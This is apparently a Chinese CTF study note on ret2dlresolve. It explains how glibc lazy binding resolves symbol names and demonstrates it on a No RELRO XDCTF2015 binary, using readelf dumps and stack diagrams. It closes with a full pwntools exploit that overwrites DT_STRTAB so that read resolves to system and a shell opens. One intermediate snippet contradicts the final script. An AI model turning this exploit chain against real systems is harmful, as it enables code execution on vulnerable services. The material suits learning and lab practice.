参考:ret2dlresolve - CTF Wiki ret2dl-resolve
动态链接/lazy binding
弄懂这个知识点是一个long journey。
首先来看一下动态链接是如何找地址的,这里先附上一张图,方便理解动态链接整个过程:

动态链接流程图

具体过程
_dl_runtime_resolve 是什么?
1
| _dl_runtime_resolve(link_map_obj, reloc_offset)
|
_dl_runtime_resolve 是 glibc/ld-linux 里的内部动态链接器入口。glibc 源码说明 _dl_fixup(和对应的 trampoline / resolver 路径)是在 某个 PLT 项第一次被调用时 触发,用来完成这次调用对应的重定位,然后把解析出的真实函数地址返回给 trampoline,之后再跳去真正函数。
对于32位来说 _dl_runtime_resolve 不需要ret2libc的原因是因为源码会自动解析libc及其版本(仅限32位);64需要知道libc版本即可利用攻击。这里附上源码,可以看出他是依赖于st_name来完成解析的:

调用流程如下

对于No RELRO来说,dt_strtab(即.dynstr)在允许修改的情况下,我们把最后dt_strtab部分直接修改即可偷梁换柱得到我们想要的函数了。相比之下Partial RELRO则不允许修改dt_strtab,所以需要直接创建一条链路。
No RELRO中具体的,我们用一道例题来解释。
No RELRO例题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| #include <unistd.h> #include <stdio.h> #include <string.h>
void vuln() { char buf[100]; setbuf(stdin, buf); read(0, buf, 256); } int main() { char buf[100] = "Welcome to XDCTF2015~!\n";
setbuf(stdout, buf); write(1, buf, strlen(buf)); vuln(); return 0; }
|
1 2 3 4 5 6 7 8 9 10
| $ checksec pwn [*] '/mnt/hgfs/E/CTF/pwn学习/理论学习/高级ROP/pwn' Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No $ file pwn pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=d0f89bfd3b72145ada1db5483f091a41b3cd1ad5, for GNU/Linux 3.2.0, not stripped
|
原理再现
在 32 位 ELF 里,.dynamic 里的每一项大致可看成:
1 2 3 4 5 6 7
| typedef struct { Elf32_Sword d_tag; union { Elf32_Word d_val; Elf32_Addr d_ptr; } d_un; } Elf32_Dyn;
|
找到.dynamic表的起始地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| $ readelf -S pwn There are 29 section headers, starting at offset 0x2810:
节头: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al ... [ 5] .dynsym DYNSYM 080481ec 0001ec 0000a0 10 A 6 1 4 [ 6] .dynstr STRTAB 0804828c 00028c 000076 00 A 0 0 1 ... [ 9] .rel.dyn REL 08048348 000348 000018 08 A 5 0 4 [10] .rel.plt REL 08048360 000360 000028 08 AI 5 22 4 [11] .init PROGBITS 08049000 001000 000024 00 AX 0 0 4 [12] .plt PROGBITS 08049030 001030 000060 04 AX 0 0 16 ... [20] .dynamic DYNAMIC 0804b10c 00210c 0000e8 08 WA 6 0 4 [21] .got PROGBITS 0804b1f4 0021f4 00000c 04 WA 0 0 4 [22] .got.plt PROGBITS 0804b200 002200 000020 04 WA 0 0 4 [23] .data PROGBITS 0804b220 002220 000008 00 WA 0 0 4 [24] .bss NOBITS 0804b228 002228 000004 00 WA 0 0 1 ...
|
再看一下.dynamic表,找到DT_STRTAB的起始地址
1 2 3 4 5 6 7 8
| $ readelf -d pwn
Dynamic section at offset 0x210c contains 24 entries: 标记(tag) 类型 名称/值 ... 0x00000005 (STRTAB) 0x804828c 0x00000006 (SYMTAB) 0x80481ec ...
|
也就是:DT_STRTAB = 0x0804828c -> 真正的 .dynstr(对应一个tag,一个地址)
1 2 3 4 5 6 7 8 9
| $ readelf -p .dynstr ./pwn
String dump of section '.dynstr': [ 1] _IO_stdin_used ... [ 3d] stdin [ 43] read [ 48] libc.so.6 ...
|
read 在 dynsym 里的 st_name = 0x43所以动态链接器取名字的方法是:
1 2 3 4
| symbol_name = DT_STRTAB + st_name = 0x0804828c + 0x43 = 0x080482cf = "read"
|
我们可以动调看一下这个地址是不是:

和我们推理的一样。
劫持方法
read→system
这个时候如果说我们把这个read这个目标转成system的话,就能达到劫持的目标了。所以先要找一块可以写入的地方:
1 2 3
| [Nr] Name Type Addr Off Size ES Flg Lk Inf A [23] .data PROGBITS 0804b220 002220 000008 00 WA 0 0 4 [24] .bss NOBITS 0804b228 002228 000004 00 WA 0 0 1
|
因为b’system\x00’是7字节(\x00作为字符串终止符),所以这里选在在data段写入:
1 2 3
| SYSTEM_STR = 0x0804b220 rop.read(0, SYSTEM_STR, len(b"system\x00")) p.send(b"system\x00")
|
好了我们这个时候溯源回去,把.dynamic段上STRTAB地址覆写掉,也就是0x0804B14C的后四个字节(如图),所以覆写的位置是0x0804B14C+0x4 = 0x804B150

覆写的值是system_addr - 0x43(原read偏移) = 0x0804b220 - 0x43 = 0x804B1DD
1 2 3 4 5 6
| DT_STRTAB_VALUE = 0x804B150 rop.read(0, DT_STRTAB_VALUE, 4) p.send(b"system\x00")
NEW_STRTAB = SYSTEM_STR - 0x43 p.send(p32(NEW_STRTAB))
|
再次触发lazy binding
好了,在此之后我们调用在触发动态链接调用read就相当于调用system了。注意这里的前提是“在触发动态链接调用read”,我们再次会到栈溢出的地方:
1 2 3 4 5 6
| void vuln() { char buf[100]; setbuf(stdin, buf); read(0, buf, 256); }
|
在栈溢出前,程序已经调用过read函数了,got表已经填入了libc的地址了,所以这里需要我们手动伪造一次 lazy binding 流程,首先来看一下read@plt:
1 2 3 4
| 08049060 <read@plt>: 8049060: ff 25 14 b2 04 08 jmp *0x804b214 8049066: 68 10 00 00 00 push 0x10 804906b: e9 c0 ff ff ff jmp 0x8049030
|

前6字节是在动态链接过后直接跳转,如果没有,后10字节是lazy binding的过程,所以我们直接转到0x8049066执行lazy binding,替换system。
1 2
| READ_PLT_2ND = 0x8049066 rop.raw(READ_PLT_2ND)
|
lazy binding之后会直接再运行一遍,之后传参即可。
1 2
| rop.raw(0xdeadbeef) rop.raw(BINSH_ADDR)
|
整体逻辑和栈布局
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| ROP | v 0x08049066 (read@plt 的第二条) | |-- push 0x10 | 这个 0x10 是 read 对应 relocation 信息的参数 | v 0x08049030 (plt0) | |-- push link_map / resolver 参数 | v _dl_runtime_resolve | |-- 根据 reloc_arg=0x10 找到“这是 read 的那条重定位记录” | |-- 找到 read 对应 dynsym 项 | |-- 读取 st_name = 0x43 | |-- 读取 DT_STRTAB(现在已被你改成 0x0804b1dd) | |-- 计算名字地址: | 0x0804b1dd + 0x43 = 0x0804b220 | |-- 读到符号名: | "system" | |-- 在 libc 里查 system | |-- 得到 system 真地址 | |-- 返回后实际跳到 system 执行 | v system("/bin/sh")
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75
| from pwn import *
context.arch = "i386"
p = process("./pwn") elf = ELF("./pwn") rop = ROP(elf)
p.recvuntil(b"Welcome to XDCTF2015~!\n")
offset = 112
DT_STRTAB_VALUE = 0x0804b150 READ_PLT_2ND = 0x08049066 SYSTEM_STR = 0x0804b220 BINSH_ADDR = 0x0804b228
NEW_STRTAB = SYSTEM_STR - 0x43
rop.raw(b"A" * offset)
rop.read(0, DT_STRTAB_VALUE, 4)
rop.read(0, SYSTEM_STR, len(b"system\x00"))
rop.read(0, BINSH_ADDR, len(b"/bin/sh\x00"))
rop.raw(READ_PLT_2ND)
rop.raw(0xdeadbeef) rop.raw(BINSH_ADDR)
payload = rop.chain() assert len(payload) <= 256
payload = payload.ljust(256, b"A")
p.send(payload)
p.send(p32(NEW_STRTAB))
p.send(b"system\x00")
p.send(b"/bin/sh\x00")
p.interactive()
|